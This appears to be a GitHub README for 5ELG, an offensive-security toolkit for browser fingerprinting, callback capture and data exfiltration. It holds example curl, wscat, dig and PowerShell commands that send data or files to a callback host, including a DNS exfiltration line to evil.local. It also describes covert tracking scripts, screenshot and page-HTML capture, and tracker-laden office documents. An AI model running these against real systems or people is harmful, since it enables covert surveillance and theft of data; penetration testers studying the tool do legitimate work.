Skip to content

Latest commit

 

History

History
318 lines (240 loc) · 18.3 KB

README.md

File metadata and controls

318 lines (240 loc) · 18.3 KB

5ELG - bro5er dEaL finGerprinter

5ELG is an usefull cliend-side utilities freamwork with browser fingerprinting, request callback, and OSINT tool designed for cybersecurity professionals and enthusiasts. It captures detailed browser and system information, facilitates client-side exploitation testing, and supports OSINT operations through API integrations.

With a modular architecture, 5ELG combines fingerprinting, callback servers, file exfiltration, and OSINT functionalities, making it a powerful tool for security audits and offensive operations.

Table of Contents

Overview

✔️ OSINT Automation: Integrates APIs like Shodan, VirusTotal, WHOIS, and IPINFO to gather actionable intelligence on IPs and devices.
✔️ Callback Server: Captures requests via HTTP(S), WebSockets, DNS, and ICMP, enabling testing for SSRF, blind RCE, and XXE vulnerabilities.
✔️ Browser Fingerprinting: Generates unique browser/device fingerprints and collects comprehensive user environment data.
✔️ File Exfiltration: Allows secure file uploads for testing data leakage scenarios.
✔️ Custom Dealers: Modular backend components for managing requests and data collection across diverse platforms (web, PowerShell, hardware).

Installation

  1. Clone the Repository

    git clone https://github.com/jomoza/5ELG.git
cd 5ELG

  2. Install Dependencies

    npm install

  3. Set Up Environment Variables
    Create a .env file with your API keys and configuration settings:

    SHODAN_API_KEY=your_shodan_key
VIRUSTOTAL_API_KEY=your_virustotal_key
IPINFO_API_KEY=your_ipinfo_key
PORT=8080

  4. Start the Server

    npm start

Configuration

.env File

Configure the following variables:

SHODAN_API_KEY=your_shodan_key
VIRUSTOTAL_API_KEY=your_virustotal_key
IPINFO_API_KEY=your_ipinfo_key
PORT=8080

5ELG WEB PANEL

Callback Server

The callback server in 5ELG provides a powerful mechanism for observing and capturing outbound traffic generated by vulnerable or misconfigured systems. By leveraging protocols like HTTP and DNS, we can exfiltrate valuable data during penetration testing or simulate real-world exploitation scenarios.

The callback server supports multiple protocols, including:

  • HTTP(S): Analyze headers, methods, and request bodies.
  • WebSockets: Capture persistent communications.
  • DNS and ICMP: Handle stealthy callbacks for advanced testing.

Browser Fingerprinting

  • Captures detailed browser and system attributes:
    • Plugins, device properties, GPU model, media devices, local ip, permissions...
  • Includes NoScript Tracking for users with disabled JavaScript.
  • Combines data to create a unique fingerprint using SHA256 hashing.

OSINT

🕵️ Automated OSINT for IPs

  • Integrates APIs like IPINFO, WHOIS, Shodan, VirusTotal, CriminalIP, and more.
  • Collects geolocation, service details, reputation scores, and threat intelligence.
  • Correlates OSINT data with fingerprints for a comprehensive profile.

DATA EXILTRATION

Data exfiltration through various protocols using a callback server, as well as file reception via HTTP(S), are methods for receiving information from a client in multiple forms. This includes both exfiltrated information within the request and files from a device.

HTTP Data Exfiltration

HTTP is one of the most common ways to leak information from a target. By embedding sensitive data into HTTP headers or URL parameters, an attacker can extract valuable information when the target makes outbound requests to the callback server. Here's an example:

Exfiltrating Data via HTTP

curl -I "http://5elg.host/dealer/anyname.png?data=leak-url" \
  -H "user-agent: leak-ua" \
  -H "referer: data-leak-ref" \
  -H "Origin: data-leak-org"

USING WEBSOCKETS (EXEMPLE W/ WSCAT) WebSockets are enabled for both user fingerprinting and callback, allowing for data exfiltration. In the near future, they will also support file exfiltration.

wscat -c ws://10.13.37.40/leak-path -o "LEAK-HEADER" -H "User-Agent: leak-ws-ua"
Connected (press CTRL+C to quit)
< DEALED!
>
FILE EXFILTRATION USING HTTP SERVICE

The HTTP service allows for the upload of one or multiple files to the 5ELG system using an ID parameter that acts as an identifier for the machine. This functionality can be utilized for various purposes, such as data collection, remote diagnostics, or system monitoring.

Here an example of how to use PowerShell to send files to the 5ELG system:

$FilePath = "<PATH_TO_FILE>" #HERE THE FILEPATH
$ID = "<FILE-FINGERPRINT-ID>" #HERE THE ID (FOLDER NAME)
$Url = "http://<5ELG-HOST>/api/upload"
$Form = @{
    file = Get-Item -Path $FilePath
    ID = $ID
}
$boundary = [System.Guid]::NewGuid().ToString()
$bodyLines = @()
foreach ($key in $Form.Keys) {
    $bodyLines += "--$boundary"
    if ($Form[$key] -is [System.IO.FileInfo]) {
        $file = $Form[$key]
        $bodyLines += "Content-Disposition: form-data; name=`"$key`"; filename=`"$($file.Name)`""
        $bodyLines += "Content-Type: application/octet-stream"
        $bodyLines += ""
        $bodyLines += [System.IO.File]::ReadAllBytes($file.FullName)
    } else {
        $bodyLines += "Content-Disposition: form-data; name=`"$key`""
        $bodyLines += ""
        $bodyLines += $Form[$key]
    }
}
$bodyLines += "--$boundary--"
$body = [System.Text.Encoding]::UTF8.GetBytes($bodyLines -join "`r`n")
$authHeader = "Basic " + [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("5elg_username:5elg_password")) #CHANGE AUTH!
Invoke-WebRequest -Uri $Url -Method Post -Body $body -ContentType "multipart/form-data; boundary=$boundary" -Headers @{ Authorization = $authHeader }

DNS Data Exfiltration

DNS is a stealthier method for leaking data, as DNS queries are often allowed even in restricted environments. By encoding sensitive information into DNS queries, an attacker can exfiltrate data without relying on HTTP or other high-level protocols.

Example: Exfiltrating Data via DNS

dig @5elg.host LEAKDATA.evil.local TXT

DEALERS

Many of these dealers are still in the development phase and may not function perfectly. We are more than happy to receive your issues or ideas for new dealers, as well as suggestions for improvements or changes to existing ones. Your feedback is invaluable in helping us refine and expand the project to better meet the needs of the community.

The "merca", which refers to the JavaScript we inject to interact with the dealers, contains a variable called dealer_uri. This variable should be set to the URL of the DEALER. By doing so, regardless of whether the dealers are hosted on the same site or not, they can communicate seamlessly. This approach enhances the flexibility and reach of the project, allowing for more diversified actions.

JAVASCRIPT CONFIGURATION

<script>
      //DEALER_CLIENT_SIDE_CONFIG
	let velghost = "127.0.0.1"; #IP TO 5ELG FOR WS REQUEST
	let dealerUri = "/dealer.php"; #DEALER PATH, URL OR ONLY PATH
</script>

The dealer's backend can be hosted on a separate server and requires certain variables to be configured. These variables have the same names across all examples, regardless of the programming language being used.

PHP EXAMPLE

<?php
    $DEALER_NAME="PHP.DEALER"; //DEALER_NAME_IN_DASHBOARD
    $MODE="SENDER"; //SAVER or SENDER //DEALER_MODE    
    $URI_REZ="http://5elg.site:PORT/reciver"; //5ELG RECIVER URL IF SENDER	
    $PATH_WRITER="/tmp/out.csv";  //5ELG CSV URL IF SAVER
?>

JSP EXAMPLE

<%
	String DEALER_NAME = "JSP.DEALER"; 
	String MODE = "SENDER"; 
	String PATH_WRITER = "/tmp/out.csv";
	String URI_REZ = "http://5elg.site:PORT/reciver";
%>

ASP EXAMPLE

<%
    DEALER_NAME = "ASP.DEALER"
    MODE = "SENDER"
    PATH_WRITER = "C:\temp\out.csv"
    URI_REZ = "http://5elg.site:PORT/reciver"
%>

OFIMATIC DEALER

Additionally, we are considering the possibility of creating office-based DEALERS, such as DOCX, XLSX, and PDF files. These files would incorporate scripts or embedded resources that can trigger the browser in the background to capture and send requests. This opens up a wide range of possibilities for collecting data in more discreet and creative ways. By embedding tracking mechanisms directly into common office documents, we can execute actions like fingerprinting without relying solely on traditional web-based environments. These office-based DEALERS provide an innovative approach to expanding the scope of data collection and interaction, making the system more versatile and adaptable to different contexts.

POWERSHELL DEALER

This same approach can be integrated into Bash scripts, PowerShell, and many other operating system functions that support JavaScript execution. By leveraging the flexibility of these scripting environments, we can execute fingerprinting and data collection processes seamlessly across various platforms.

HARDWARE DEALER

Finally, it’s possible to configure devices, such as Arduinos or Flipper Zeros, to force these requests as well. These devices can be programmed to interact with the dealers, triggering the collection of data from target systems in a more covert manner. This expands the versatility of the project, allowing for innovative ways to generate and track requests beyond typical browser or server-based environments.

5ELG API

This server provides several API endpoints for handling logs and retrieving data related to your application, allowing you to manage logs, generate backups, and query specific data in various formats. Each endpoint serves a specific purpose, whether for retrieving, deleting, or counting log entries, and it requires Basic Authentication for secure access. The server ensures that only authorized users can access or modify the data. With these API endpoints, you can easily manage and retrieve data from your application logs in various formats like CSV and JSON, facilitating data analysis and log tracking.

You cas see the API DOC here.

ABOUT FINGERPRINTING

5ELG leverages data collection and retrieval. It gathers a comprehensive set of attributes and configurations from the user’s browser environment, creating a unique fingerprint. This fingerprint, along with other metadata, is stored in an SQLite database, where it can be accessed in a web dasboard.

The unique aspect of 5ELG is that both the JavaScript responsible for tracking, called "merca" and the data sender to the dashboard, known as the "dealer," are independent modules. This modular design allows for various tracking methods beyond simply embedding a link. These components can be embedded into office files or triggered from other functionalities, enabling "merca" to send data to the dealer, which then forwards it to 5ELG. Alternatively, if connectivity is unavailable, data can be written to a CSV file, which can later be uploaded to the panel for processing.

The "delaer" collect extensive browser, system, and user information to generate a unique browser fingerprint. It also sends this information back to the server for further analysis.

The script gathers various types of information from the browser and system, including:

  • Browser plugins
  • Device properties such as hardwareConcurrency, platform, vendor, etc.
  • GPU Model through WebGL, which extracts details about the graphics hardware.
  • Battery status through the getBattery() API.
  • Permissions status (e.g., geolocation, camera, notifications) using the navigator.permissions.query() method.
  • Media devices such as cameras and microphones.
  • Browser extensions by analyzing MIME types and plugins
  • Page HTML: The entire DOM (document.documentElement.outerHTML) is captured and encoded in Base64.
  • Screenshot: Using the html2canvas library, a screenshot of the current page is taken and converted to a Base64-encoded image.

All of this data is serialized and encoded using SHA256 hashing to generate a browser fingerprint. This uniquely identifies the browser and device. Once all data is collected, including the browser fingerprint, page HTML, screenshot, and browser extensions, an XMLHttpRequest sends this data to the server in the form of a POST request.

The server receives:

  • u: The user's fingerprint (generated through SHA256).
  • b: The browser fingerprint.
  • r: A hash representing the combination of gathered data.
  • code: The Base64-encoded page HTML.
  • s: The Base64-encoded screenshot.
  • data: The fingerprint data, serialized as JSON and Base64-encoded.
xhr.send("u=" + uf + "&b=" + bf + "&r=" + rh + "&code=" + encodeURIComponent(encodedPageHTML) + "&s=" + encodeURIComponent(encodedImg) + "&data=" + dts);

NoScript and CSS-Based Tracking

The script also includes a <noscript> block to track users who have JavaScript disabled. Within this block:

  • Font-based tracking: Font faces are defined with URLs that send requests to the server. Depending on the system font, the URL will identify the operating system (e.g., "Ubuntu", "Windows", or "Linux").
  • CSS property support detection: The script uses @supports rules to detect which CSS properties are supported, allowing the identification of different browsers (e.g., Chrome, Firefox, WebKit-based browsers).
  • One pixel image tracking: If JavaScript or certain CSS properties are disabled, the server will still receive tracking requests via image requests embedded in the <noscript> tag and within the CSS @supports rules. These requests inform the server that JavaScript is disabled or that the user is blocking certain CSS properties
<img class="js-disabled-message" src="http://5RLG-URI/dealer.png?unjs=true&u=img-ping&b=CSS_BLOCKING-DETECTED">

Limitations

Difficulties in Browser Fingerprinting

Browser fingerprinting using JavaScript, while powerful, is not without its limitations. These constraints arise from browser security policies, updates, and the broader web ecosystem designed to protect user privacy and security. Below is an explanation of key limitations that can affect the effectiveness of browser fingerprinting.

1. "Mixed Content" Error

Browsers are increasingly strict about preventing insecure (HTTP) content from being loaded on secure (HTTPS) pages. If fingerprinting scripts are hosted on an HTTP server and embedded in an HTTPS page, the browser may block these scripts from running. This is called a "Mixed Content" error, and it limits the ability to gather fingerprints reliably across all websites.

2. "NET::ERR_CERT_AUTHORITY_INVALID" Error

This error occurs when a website or resource, such as the dealer or the fingerprinting server, uses an invalid SSL/TLS certificate. If the browser does not trust the certificate authority, it will block the connection, preventing the fingerprinting script from executing. For browser fingerprinting to be effective, the dealer server must use a valid and trusted SSL certificate to avoid these errors.

3. Cross-Origin Resource Sharing (CORS)

CORS policies are designed to prevent unauthorized access to resources on a different domain. When a fingerprinting script tries to send data to a dealer hosted on a separate domain, the browser enforces CORS restrictions to ensure the request is allowed by the server. If the dealer server does not include appropriate CORS headers, the browser will block the request, making it impossible to collect and send data across domains.

4. Content-Security-Policy (CSP)

Content-Security-Policy (CSP) is a security feature that allows website owners to control which resources the browser is allowed to load. Websites can restrict scripts, styles, and content to specific domains. A strict CSP policy can block fingerprinting scripts, even if they are loaded from trusted servers. This limits the deployment of fingerprinting techniques, especially when interacting with websites that enforce strong security policies.

5. Browser Security Policies

Browsers have built-in security policies to prevent potentially harmful activities, such as accessing certain browser properties or running specific JavaScript features. These restrictions can reduce the amount of information available for fingerprinting. For instance, modern browsers are designed to limit access to certain APIs, or they may randomize or obfuscate values like screen resolution or time zones to mitigate fingerprinting.

6. Browser Automatic and Silent Updates

Browsers frequently release automatic updates that can change internal configurations, APIs, or introduce new security features. These updates can break fingerprinting mechanisms by modifying the behavior of JavaScript APIs or adding new anti-fingerprinting features. Since these updates are often silent, fingerprinting scripts that worked before may suddenly stop functioning correctly or return inconsistent data.

7. Web Application Firewalls (WAFs)

Web Application Firewalls (WAFs) are increasingly used to block unwanted traffic and potentially harmful scripts. They can identify and block fingerprinting attempts by detecting unusual requests or patterns typical of fingerprinting tools. WAFs may prevent the dealer from collecting data or block the transmission of fingerprints to the server, limiting the effectiveness of fingerprinting techniques.

LINKS